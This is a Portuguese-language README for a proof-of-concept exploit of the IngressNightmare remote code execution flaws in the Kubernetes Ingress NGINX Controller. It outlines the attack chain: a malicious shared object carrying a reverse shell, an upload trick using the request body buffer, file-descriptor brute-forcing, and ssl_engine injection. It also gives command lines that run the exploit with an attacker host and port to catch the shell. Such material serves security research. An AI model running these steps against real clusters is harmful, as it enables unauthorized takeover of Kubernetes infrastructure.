
Poc for Ingress RCE
Este projeto fornece um exploit direcionado a vulnerabilidades críticas de Execução Remota de Código (RCE) não autenticado no Ingress NGINX Controller para Kubernetes, coletivamente referidas como IngressNightmare.
Na pesquisa original, a equipe do Wiz não forneceu um PoC ou um exploit funcional, por isso decidimos criar o nosso próprio e compartilhá-lo com a comunidade.
O Ingress NGINX Controller é um componente amplamente utilizado em ambientes Kubernetes, gerenciando o acesso externo a serviços dentro dos clusters. Vulnerabilidades recentes (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) destacaram riscos críticos de segurança.
O exploit segue estas etapas principais:
Gerar objeto compartilhado (usado pela propriedade ssl_engine injetada):
Compila uma biblioteca .so (evil_engine.so) contendo payload de shell reverso.
Fazer upload do objeto compartilhado:
Envia o objeto compartilhado compilado para o pod ingress, aproveitando o tratamento de requisições (buffers de corpo do cliente). O truque aqui é enviar um Content-Length diferente para o servidor para manter a conexão aberta.
Força bruta de fd: Itera sobre IDs de processo e descritores de arquivo (/proc/{pid}/fd/{fd}) para identificar o descritor correto que referencia o objeto enviado.
Uso
Pré-requisitos:
Executar exploit:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
Ex: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
Às vezes, o admission webhook está em um namespace diferente. Nesse caso, você precisa especificar o namespace no final, como kube-system, default ou ingress-nginx.
<ingress_url>: URL do Ingress de destino (público)<admission_webhook_url>: URL do webhook de admissão (webhook interno)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): Seu host e porta para shell reversoAviso Legal
Este exploit é fornecido estritamente para fins educacionais e de pesquisa. O uso não autorizado desta ferramenta contra alvos sem permissão explícita é proibido. A Hakai Security e a QuimeraX não se responsabilizam por qualquer uso indevido desta ferramenta.